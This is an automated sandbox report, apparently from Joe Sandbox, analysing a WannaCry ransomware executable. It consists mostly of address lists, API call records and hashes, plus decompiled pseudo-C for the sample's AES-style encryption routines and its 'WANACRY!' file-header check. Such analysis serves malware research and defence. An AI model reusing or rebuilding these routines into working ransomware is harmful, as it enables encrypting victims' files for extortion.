                                                                                          0x00402dc8
                                                                                          0x00402dc9
                                                                                          0x00402dcf
                                                                                          0x00402ddb
                                                                                          0x00402dde
                                                                                          0x00402de4
                                                                                          0x00402de6
                                                                                          0x00402de9
                                                                                          0x00402dec
                                                                                          0x00402df3
                                                                                          0x00402df9
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00402df9
                                                                                          0x00000000
                                                                                          0x00402db5
                                                                                          0x00402d16
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00402d1c
                                                                                          0x00402d22
                                                                                          0x00402d25
                                                                                          0x00402d28
                                                                                          0x00402d2a
                                                                                          0x00402d2d
                                                                                          0x00402d2d
                                                                                          0x00000000
                                                                                          0x00402dfb
                                                                                          0x00402dfb
                                                                                          0x00000000
                                                                                          0x00402cb5
                                                                                          0x00402c56
                                                                                          0x00402c5c
                                                                                          0x00402c6a
                                                                                          0x00402c6e
                                                                                          0x00402c74
                                                                                          0x00402c75
                                                                                          0x00402c7e
                                                                                          0x00402c8b
                                                                                          0x00402c91
                                                                                          0x00402c93
                                                                                          0x00402c96
                                                                                          0x00402c9d
                                                                                          0x00402ca3
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00402ca3
                                                                                          0x00000000
                                                                                          0x00402c5c
                                                                                          0x00402c24
                                                                                          0x00402c27
                                                                                          0x00402c2d
                                                                                          0x00402c2e
                                                                                          0x00402c36
                                                                                          0x00402c3f
                                                                                          0x00402c43
                                                                                          0x00402c45
                                                                                          0x00402c46
                                                                                          0x00402c49
                                                                                          0x00402c49
                                                                                          0x00402c49
                                                                                          0x00000000
                                                                                          0x00402c27
                                                                                          0x00402bd9
                                                                                          0x00402bdf
                                                                                          0x00402bdf
                                                                                          0x00402be4
                                                                                          0x00402bea
                                                                                          0x00402bea
                                                                                          0x00402bea
                                                                                          0x00402bec
                                                                                          0x00402bed
                                                                                          0x00402bf0
                                                                                          0x00000000
                                                                                          0x00402bdf
                                                                                          0x00402bb3
                                                                                          0x00402bb6
                                                                                          0x00402bb6
                                                                                          0x00402bbb
                                                                                          0x00402bc1
                                                                                          0x00402bc1
                                                                                          0x00402bc1
                                                                                          0x00402bc3
                                                                                          0x00402bc4
                                                                                          0x00402bc7
                                                                                          0x00000000
                                                                                          0x00402bb6
                                                                                          0x00402b55
                                                                                          0x00000000
                                                                                          0x00402b55

                                                                                          APIs
                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402A95
                                                                                          • _CxxThrowException.MSVCRT(00000010,0040D570,?,00000000,00000010,?), ref: 00402AA4
                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402ACD
                                                                                          • _CxxThrowException.MSVCRT(00000010,0040D570,?,00000000,00000010,?), ref: 00402ADC
                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402AFF
                                                                                          • _CxxThrowException.MSVCRT(00000010,0040D570,?,00000000,00000010,?), ref: 00402B0E
                                                                                          • memcpy.MSVCRT(?,?,00000010,?,?,00000000,00000010,?,?), ref: 00402B2A
                                                                                          • memcpy.MSVCRT(?,?,?,?,?,00000010,?,?,00000000,00000010,?,?), ref: 00402B3F
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: ??0exception@@ExceptionThrow$memcpy
                                                                                          • String ID:
                                                                                          • API String ID: 1881450474-3916222277
                                                                                          • Opcode ID: 13455132f19fce7ccee5142b200569a1d3dc411a47d032a17fbb22a214c81369
                                                                                          • Instruction ID: fcfef073648f46ce18afaeffe4143d5033c2e410e09e17396796de68d512254b
                                                                                          • Opcode Fuzzy Hash: 13455132f19fce7ccee5142b200569a1d3dc411a47d032a17fbb22a214c81369
                                                                                          • Instruction Fuzzy Hash: 8DD1C3706006099FDB28CF29C5846EA77F5FF48314F14C43EE95AEB281D778AA85CB58
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 004014A6 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 178filememoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040150D
                                                                                          • GetFileSizeEx.KERNEL32(00000000,?), ref: 00401529
                                                                                          • memcmp.MSVCRT(?,WANACRY!,00000008), ref: 00401572
                                                                                          • GlobalAlloc.KERNEL32(00000000,?,?,?,00000010,?,?,?,?), ref: 0040166D
                                                                                          • _local_unwind2.MSVCRT(?,000000FF), ref: 004016D6
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: File$AllocCreateGlobalSize_local_unwind2memcmp
                                                                                          • String ID: WANACRY!
                                                                                          • API String ID: 283026544-1240840912
                                                                                          • Opcode ID: 3616707767261f84fde6c13708b35c3d4dbb974938da28d5f777545cb9cffa02
                                                                                          • Instruction ID: 23909f9b909e50c20e483d6bc4be6e23e355ec3bf8b0a6de4718622c8bde6caa
                                                                                          • Opcode Fuzzy Hash: 3616707767261f84fde6c13708b35c3d4dbb974938da28d5f777545cb9cffa02
                                                                                          • Instruction Fuzzy Hash: 6E512C71900209ABDB219F95CD84FEEB7BCEB08790F1444BAF515F21A0D739AA45CB28
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 0040350F Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 214COMMONCrypto
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 55%
                                                                                          			E0040350F(void* __ecx, signed int _a4, signed char* _a8) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v56;
				signed int _t150;
				signed int _t151;
				signed int _t155;
				signed int* _t157;
				signed char _t158;
				intOrPtr _t219;
				signed int _t230;
				signed char* _t236;
				signed char* _t237;
				signed char* _t238;
				signed char* _t239;
				signed int* _t240;
				signed char* _t242;
				signed char* _t243;
				signed char* _t245;
				signed int _t260;
				signed int* _t273;
				signed int _t274;
				void* _t275;
				void* _t276;

				_t275 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v56);
					L0040776E();
				}
				_t150 =  *(_t275 + 0x3cc);
				if(_t150 == 0x10) {
					return E00402E7E(_t275, _a4, _a8);
				}
				asm("cdq");
				_t230 = 4;
				_t151 = _t150 / _t230;
				_t274 = _t151;
				asm("sbb eax, eax");
				_t155 = ( ~(_t151 - _t230) & (0 | _t274 != 0x00000006) + 0x00000001) << 5;
				_v28 =  *((intOrPtr*)(_t155 + 0x40bc24));
				_v24 =  *((intOrPtr*)(_t155 + 0x40bc2c));
				_v32 =  *((intOrPtr*)(_t155 + 0x40bc34));
				_t157 = _t275 + 0x454;
				if(_t274 > 0) {
					_v16 = _t274;
					_v8 = _t275 + 8;
					_t242 = _a4;
					do {
						_t243 =  &(_t242[1]);
						 *_t157 = ( *_t242 & 0x000000ff) << 0x18;
						 *_t157 =  *_t157 | ( *_t243 & 0x000000ff) << 0x00000010;
						_t245 =  &(_t243[2]);
						_t273 = _t157;
						 *_t157 =  *_t157 |  *_t245 & 0x000000ff;
						_v8 = _v8 + 4;
						_t242 =  &(_t245[1]);
						_t157 =  &(_t157[1]);
						 *_t273 =  *_t273 ^  *_v8;
						_t27 =  &_v16;
						 *_t27 = _v16 - 1;
					} while ( *_t27 != 0);
				}
				_t158 = 1;
				_v16 = _t158;
				if( *(_t275 + 0x410) > _t158) {
					_v12 = _t275 + 0x28;
					do {
						if(_t274 > 0) {
							_t34 =  &_v28; // 0x403b51
							_t260 =  *_t34;
							_v8 = _v12;
							_a4 = _t260;
							_v36 = _v24 - _t260;
							_t240 = _t275 + 0x434;
							_v40 = _v32 - _t260;
							_v20 = _t274;
							do {
								asm("cdq");
								_v44 = 0;
								asm("cdq");
								asm("cdq");
								_v8 = _v8 + 4;
								 *_t240 =  *(0x4093fc + _v44 * 4) ^  *(0x4097fc + ( *(_t275 + 0x454 + (_v40 + _a4) % _t274 * 4) & 0x000000ff) * 4) ^  *0x00408FFC ^  *0x00408BFC ^  *_v8;
								_t240 =  &(_t240[1]);
								_a4 = _a4 + 1;
								_t84 =  &_v20;
								 *_t84 = _v20 - 1;
							} while ( *_t84 != 0);
						}
						memcpy(_t275 + 0x454, _t275 + 0x434, _t274 << 2);
						_v12 = _v12 + 0x20;
						_t276 = _t276 + 0xc;
						_v16 = _v16 + 1;
						_t158 = _v16;
					} while (_t158 <  *(_t275 + 0x410));
				}
				_v8 = _v8 & 0x00000000;
				if(_t274 > 0) {
					_t236 = _a8;
					_t219 = _v24;
					_a8 = _t275 + 0x454;
					_t100 =  &_v28; // 0x403b51
					_v44 =  *_t100 - _t219;
					_v40 = _v32 - _t219;
					do {
						_a8 =  &(_a8[4]);
						_a4 =  *((intOrPtr*)(_t275 + 8 + (_v8 +  *(_t275 + 0x410) * 8) * 4));
						 *_t236 =  *0x004089FC ^ _a4 >> 0x00000018;
						_t237 =  &(_t236[1]);
						asm("cdq");
						 *_t237 =  *0x004089FC ^ _a4 >> 0x00000010;
						asm("cdq");
						_t238 =  &(_t237[1]);
						 *_t238 =  *0x004089FC ^ _a4 >> 0x00000008;
						_t239 =  &(_t238[1]);
						asm("cdq");
						_t158 =  *(( *(_t275 + 0x454 + (_v40 + _t219) % _t274 * 4) & 0x000000ff) + 0x4089fc) ^ _a4;
						 *_t239 = _t158;
						_t236 =  &(_t239[1]);
						_v8 = _v8 + 1;
						_t219 = _t219 + 1;
					} while (_v8 < _t274);
				}
				return _t158;
			}


































                                                                                          0x00403517
                                                                                          0x0040351e
                                                                                          0x00403528
                                                                                          0x00403531
                                                                                          0x00403536
                                                                                          0x00403537
                                                                                          0x00403537
                                                                                          0x0040353c
                                                                                          0x00403545
                                                                                          0x00000000
                                                                                          0x0040354f
                                                                                          0x0040355b
                                                                                          0x0040355c
                                                                                          0x0040355d
                                                                                          0x0040355f
                                                                                          0x0040356e
                                                                                          0x00403572
                                                                                          0x0040357d
                                                                                          0x0040358c
                                                                                          0x0040358f
                                                                                          0x00403592
                                                                                          0x00403598
                                                                                          0x0040359d
                                                                                          0x004035a0
                                                                                          0x004035a3
                                                                                          0x004035a6
                                                                                          0x004035ac
                                                                                          0x004035ad
                                                                                          0x004035b5
                                                                                          0x004035be
                                                                                          0x004035bf
                                                                                          0x004035c4
                                                                                          0x004035c9
                                                                                          0x004035cd
                                                                                          0x004035d0
                                                                                          0x004035d3
                                                                                          0x004035d5
                                                                                          0x004035d5
                                                                                          0x004035d5
                                                                                          0x004035a6
                                                                                          0x004035dc
                                                                                          0x004035e3
                                                                                          0x004035e6
                                                                                          0x004035ef
                                                                                          0x004035f2
                                                                                          0x004035f4
                                                                                          0x004035fd
                                                                                          0x004035fd
                                                                                          0x00403600
                                                                                          0x00403608
                                                                                          0x0040360b
                                                                                          0x00403613
                                                                                          0x00403619
                                                                                          0x0040361c
                                                                                          0x0040361f
                                                                                          0x00403627
                                                                                          0x0040363a
                                                                                          0x0040363d
                                                                                          0x00403660
                                                                                          0x00403682
                                                                                          0x00403688
                                                                                          0x0040368a
                                                                                          0x0040368d
                                                                                          0x00403690
                                                                                          0x00403690
                                                                                          0x00403690
                                                                                          0x0040361f
                                                                                          0x004036a9
                                                                                          0x004036ae
                                                                                          0x004036b2
                                                                                          0x004036b5
                                                                                          0x004036b8
                                                                                          0x004036bb
                                                                                          0x004035f2
                                                                                          0x004036c7
                                                                                          0x004036cd
                                                                                          0x004036d3
                                                                                          0x004036d6
                                                                                          0x004036df
                                                                                          0x004036e2
                                                                                          0x004036e7
                                                                                          0x004036ef
                                                                                          0x004036f2
                                                                                          0x00403701
                                                                                          0x00403709
                                                                                          0x0040371f
                                                                                          0x00403726
                                                                                          0x00403727
                                                                                          0x00403741
                                                                                          0x00403745
                                                                                          0x0040374a
                                                                                          0x00403760
                                                                                          0x00403767
                                                                                          0x00403768
                                                                                          0x0040377d
                                                                                          0x00403780
                                                                                          0x00403782
                                                                                          0x00403783
                                                                                          0x00403786
                                                                                          0x00403787
                                                                                          0x004036f2
                                                                                          0x00403794

                                                                                          APIs
                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,?,?,?,?,?,00403B51,?,?,?), ref: 00403528
                                                                                          • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,?,?,?,00403B51,?,?,?), ref: 00403537
                                                                                          • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00403B51,?,?), ref: 004036A9
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: ??0exception@@ExceptionThrowmemcpy
                                                                                          • String ID: $Q;@
                                                                                          • API String ID: 2382887404-262343263
                                                                                          • Opcode ID: 68433a68c8f87a96c4578501cf6b50a347b0c2ca376bc2ea45e1a632b2ad4c4a
                                                                                          • Instruction ID: bc36c6e363c45e845c5013d3ee32ff29fee655b638a1b5d52e43d816bbd12583
                                                                                          • Opcode Fuzzy Hash: 68433a68c8f87a96c4578501cf6b50a347b0c2ca376bc2ea45e1a632b2ad4c4a
                                                                                          • Instruction Fuzzy Hash: A581C3759002499FCB05CF68C9809EEBBF5EF89308F2484AEE595E7352C234BA45CF58
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00403797 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 214COMMONCrypto
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 54%
                                                                                          			E00403797(void* __ecx, signed int _a4, signed char* _a8) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v56;
				signed int _t150;
				signed int _t151;
				signed int _t155;
				signed int* _t157;
				signed char _t158;
				intOrPtr _t219;
				signed int _t230;
				signed char* _t236;
				signed char* _t237;
				signed char* _t238;
				signed char* _t239;
				signed int* _t240;
				signed char* _t242;
				signed char* _t243;
				signed char* _t245;
				signed int _t260;
				signed int* _t273;
				signed int _t274;
				void* _t275;
				void* _t276;

				_t275 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v56);
					L0040776E();
				}
				_t150 =  *(_t275 + 0x3cc);
				if(_t150 == 0x10) {
					return E004031BC(_t275, _a4, _a8);
				}
				asm("cdq");
				_t230 = 4;
				_t151 = _t150 / _t230;
				_t274 = _t151;
				asm("sbb eax, eax");
				_t155 = ( ~(_t151 - _t230) & (0 | _t274 != 0x00000006) + 0x00000001) << 5;
				_v28 =  *((intOrPtr*)(_t155 + 0x40bc28));
				_v24 =  *((intOrPtr*)(_t155 + 0x40bc30));
				_v32 =  *((intOrPtr*)(_t155 + 0x40bc38));
				_t157 = _t275 + 0x454;
				if(_t274 > 0) {
					_v16 = _t274;
					_v8 = _t275 + 0x1e8;
					_t242 = _a4;
					do {
						_t243 =  &(_t242[1]);
						 *_t157 = ( *_t242 & 0x000000ff) << 0x18;
						 *_t157 =  *_t157 | ( *_t243 & 0x000000ff) << 0x00000010;
						_t245 =  &(_t243[2]);
						_t273 = _t157;
						 *_t157 =  *_t157 |  *_t245 & 0x000000ff;
						_v8 = _v8 + 4;
						_t242 =  &(_t245[1]);
						_t157 =  &(_t157[1]);
						 *_t273 =  *_t273 ^  *_v8;
						_t27 =  &_v16;
						 *_t27 = _v16 - 1;
					} while ( *_t27 != 0);
				}
				_t158 = 1;
				_v16 = _t158;
				if( *(_t275 + 0x410) > _t158) {
					_v12 = _t275 + 0x208;
					do {
						if(_t274 > 0) {
							_t260 = _v28;
							_v8 = _v12;
							_a4 = _t260;
							_v36 = _v24 - _t260;
							_t240 = _t275 + 0x434;
							_v40 = _v32 - _t260;
							_v20 = _t274;
							do {
								asm("cdq");
								_v44 = 0;
								asm("cdq");
								asm("cdq");
								_v8 = _v8 + 4;
								 *_t240 =  *(0x40a3fc + _v44 * 4) ^  *(0x40a7fc + ( *(_t275 + 0x454 + (_v40 + _a4) % _t274 * 4) & 0x000000ff) * 4) ^  *0x00409FFC ^  *0x00409BFC ^  *_v8;
								_t240 =  &(_t240[1]);
								_a4 = _a4 + 1;
								_t84 =  &_v20;
								 *_t84 = _v20 - 1;
							} while ( *_t84 != 0);
						}
						memcpy(_t275 + 0x454, _t275 + 0x434, _t274 << 2);
						_v12 = _v12 + 0x20;
						_t276 = _t276 + 0xc;
						_v16 = _v16 + 1;
						_t158 = _v16;
					} while (_t158 <  *(_t275 + 0x410));
				}
				_v8 = _v8 & 0x00000000;
				if(_t274 > 0) {
					_t236 = _a8;
					_t219 = _v24;
					_a8 = _t275 + 0x454;
					_v44 = _v28 - _t219;
					_v40 = _v32 - _t219;
					do {
						_a8 =  &(_a8[4]);
						_a4 =  *((intOrPtr*)(_t275 + 0x1e8 + (_v8 +  *(_t275 + 0x410) * 8) * 4));
						 *_t236 =  *0x00408AFC ^ _a4 >> 0x00000018;
						_t237 =  &(_t236[1]);
						asm("cdq");
						 *_t237 =  *0x00408AFC ^ _a4 >> 0x00000010;
						asm("cdq");
						_t238 =  &(_t237[1]);
						 *_t238 =  *0x00408AFC ^ _a4 >> 0x00000008;
						_t239 =  &(_t238[1]);
						asm("cdq");
						_t158 =  *(( *(_t275 + 0x454 + (_v40 + _t219) % _t274 * 4) & 0x000000ff) + 0x408afc) ^ _a4;
						 *_t239 = _t158;
						_t236 =  &(_t239[1]);
						_v8 = _v8 + 1;
						_t219 = _t219 + 1;
					} while (_v8 < _t274);
				}
				return _t158;
			}


































                                                                                          0x0040379f
                                                                                          0x004037a6
                                                                                          0x004037b0
                                                                                          0x004037b9
                                                                                          0x004037be
                                                                                          0x004037bf
                                                                                          0x004037bf
                                                                                          0x004037c4
                                                                                          0x004037cd
                                                                                          0x00000000
                                                                                          0x004037d7
                                                                                          0x004037e3
                                                                                          0x004037e4
                                                                                          0x004037e5
                                                                                          0x004037e7
                                                                                          0x004037f6
                                                                                          0x004037fa
                                                                                          0x00403805
                                                                                          0x00403814
                                                                                          0x00403817
                                                                                          0x0040381a
                                                                                          0x00403820
                                                                                          0x00403828
                                                                                          0x0040382b
                                                                                          0x0040382e
                                                                                          0x00403831
                                                                                          0x00403837
                                                                                          0x00403838
                                                                                          0x00403840
                                                                                          0x00403849
                                                                                          0x0040384a
                                                                                          0x0040384f
                                                                                          0x00403854
                                                                                          0x00403858
                                                                                          0x0040385b
                                                                                          0x0040385e
                                                                                          0x00403860
                                                                                          0x00403860
                                                                                          0x00403860
                                                                                          0x00403831
                                                                                          0x00403867
                                                                                          0x0040386e
                                                                                          0x00403871
                                                                                          0x0040387d
                                                                                          0x00403880
                                                                                          0x00403882
                                                                                          0x0040388b
                                                                                          0x0040388e
                                                                                          0x00403896
                                                                                          0x00403899
                                                                                          0x004038a1
                                                                                          0x004038a7
                                                                                          0x004038aa
                                                                                          0x004038ad
                                                                                          0x004038b5
                                                                                          0x004038c8
                                                                                          0x004038cb
                                                                                          0x004038ee
                                                                                          0x00403910
                                                                                          0x00403916
                                                                                          0x00403918
                                                                                          0x0040391b
                                                                                          0x0040391e
                                                                                          0x0040391e
                                                                                          0x0040391e
                                                                                          0x004038ad
                                                                                          0x00403937
                                                                                          0x0040393c
                                                                                          0x00403940
                                                                                          0x00403943
                                                                                          0x00403946
                                                                                          0x00403949
                                                                                          0x00403880
                                                                                          0x00403955
                                                                                          0x0040395b
                                                                                          0x00403961
                                                                                          0x00403964
                                                                                          0x0040396d
                                                                                          0x00403975
                                                                                          0x0040397d
                                                                                          0x00403980
                                                                                          0x0040398f
                                                                                          0x0040399a
                                                                                          0x004039b0
                                                                                          0x004039b7
                                                                                          0x004039b8
                                                                                          0x004039d2
                                                                                          0x004039d6
                                                                                          0x004039db
                                                                                          0x004039f1
                                                                                          0x004039f8
                                                                                          0x004039f9
                                                                                          0x00403a0e
                                                                                          0x00403a11
                                                                                          0x00403a13
                                                                                          0x00403a14
                                                                                          0x00403a17
                                                                                          0x00403a18
                                                                                          0x00403980
                                                                                          0x00403a25

                                                                                          APIs
                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,?,?,?,?,?,00403B9C,?,?,?), ref: 004037B0
                                                                                          • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,?,?,?,00403B9C,?,?,?), ref: 004037BF
                                                                                          • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00403B9C,?,?), ref: 00403937
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: ??0exception@@ExceptionThrowmemcpy
                                                                                          • String ID:
                                                                                          • API String ID: 2382887404-3916222277
                                                                                          • Opcode ID: f4b5f5b39d3fd1fccf69c885608927ed404fa65085bd71c262b9c8f9e9248758
                                                                                          • Instruction ID: 1cfba4d829132d5223a2741c68a06c6b284a50eb41fad236877f379c856cacdf
                                                                                          • Opcode Fuzzy Hash: f4b5f5b39d3fd1fccf69c885608927ed404fa65085bd71c262b9c8f9e9248758
                                                                                          • Instruction Fuzzy Hash: B991C375A002499FCB05CF69C480AEEBBF5FF89315F2480AEE595E7342C234AA45CF58
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 004029CC Relevance: 3.8, APIs: 3, Instructions: 55memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 100%
                                                                                          			E004029CC(void* _a4) {
				void* _t17;
				intOrPtr _t18;
				intOrPtr _t23;
				intOrPtr _t25;
				signed int _t35;
				void* _t37;

				_t37 = _a4;
				if(_t37 != 0) {
					if( *((intOrPtr*)(_t37 + 0x10)) != 0) {
						_t25 =  *((intOrPtr*)(_t37 + 4));
						 *((intOrPtr*)( *((intOrPtr*)( *_t37 + 0x28)) + _t25))(_t25, 0, 0);
					}
					if( *(_t37 + 8) == 0) {
						L9:
						_t18 =  *((intOrPtr*)(_t37 + 4));
						if(_t18 != 0) {
							 *((intOrPtr*)(_t37 + 0x20))(_t18, 0, 0x8000,  *((intOrPtr*)(_t37 + 0x30)));
						}
						return HeapFree(GetProcessHeap(), 0, _t37);
					} else {
						_t35 = 0;
						if( *((intOrPtr*)(_t37 + 0xc)) <= 0) {
							L8:
							free( *(_t37 + 8));
							goto L9;
						} else {
							goto L5;
						}
						do {
							L5:
							_t23 =  *((intOrPtr*)( *(_t37 + 8) + _t35 * 4));
							if(_t23 != 0) {
								 *((intOrPtr*)(_t37 + 0x2c))(_t23,  *((intOrPtr*)(_t37 + 0x30)));
							}
							_t35 = _t35 + 1;
						} while (_t35 <  *((intOrPtr*)(_t37 + 0xc)));
						goto L8;
					}
				}
				return _t17;
			}









                                                                                          0x004029ce
                                                                                          0x004029d6
                                                                                          0x004029db
                                                                                          0x004029df
                                                                                          0x004029ea
                                                                                          0x004029ea
                                                                                          0x004029ef
                                                                                          0x00402a1d
                                                                                          0x00402a1d
                                                                                          0x00402a22
                                                                                          0x00402a2e
                                                                                          0x00402a31
                                                                                          0x00000000
                                                                                          0x004029f1
                                                                                          0x004029f2
                                                                                          0x004029f7
                                                                                          0x00402a12
                                                                                          0x00402a15
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004029f9
                                                                                          0x004029f9
                                                                                          0x004029fc
                                                                                          0x00402a01
                                                                                          0x00402a07
                                                                                          0x00402a0b
                                                                                          0x00402a0c
                                                                                          0x00402a0d
                                                                                          0x00000000
                                                                                          0x004029f9
                                                                                          0x004029ef
                                                                                          0x00402a45

                                                                                          APIs
                                                                                          • free.MSVCRT(?,00402198,00000000,00000000,0040243C,00000000), ref: 00402A15
                                                                                          • GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,0040243C,00000000), ref: 00402A36
                                                                                          • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2,00000000), ref: 00402A3D
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Heap$FreeProcessfree
                                                                                          • String ID:
                                                                                          • API String ID: 3428986607-0
                                                                                          • Opcode ID: 67af2f346d87749f9cdb855264ac8d2816ecbe8db690f3f12af5f99a0e11ec4c
                                                                                          • Instruction ID: 6307eaad725422957632c7c85bafc458d1caddc7471a2505469f2591130cc2ff
                                                                                          • Opcode Fuzzy Hash: 67af2f346d87749f9cdb855264ac8d2816ecbe8db690f3f12af5f99a0e11ec4c
                                                                                          • Instruction Fuzzy Hash: C4010C72600A019FCB309FA5DE88967B7E9FF48321354483EF196A2591CB75F841CF58
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 004018B9 Relevance: 1.5, APIs: 1, Instructions: 25encryptionCOMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 16%
                                                                                          			E004018B9(void* __ecx) {
				signed int _t10;
				signed int _t11;
				long* _t12;
				void* _t13;
				void* _t18;

				_t18 = __ecx;
				_t10 =  *(__ecx + 8);
				if(_t10 != 0) {
					 *0x40f89c(_t10);
					 *(__ecx + 8) =  *(__ecx + 8) & 0x00000000;
				}
				_t11 =  *(_t18 + 0xc);
				if(_t11 != 0) {
					 *0x40f89c(_t11);
					 *(_t18 + 0xc) =  *(_t18 + 0xc) & 0x00000000;
				}
				_t12 =  *(_t18 + 4);
				if(_t12 != 0) {
					CryptReleaseContext(_t12, 0);
					 *(_t18 + 4) =  *(_t18 + 4) & 0x00000000;
				}
				_t13 = 1;
				return _t13;
			}








                                                                                          0x004018ba
                                                                                          0x004018bc
                                                                                          0x004018c1
                                                                                          0x004018c4
                                                                                          0x004018ca
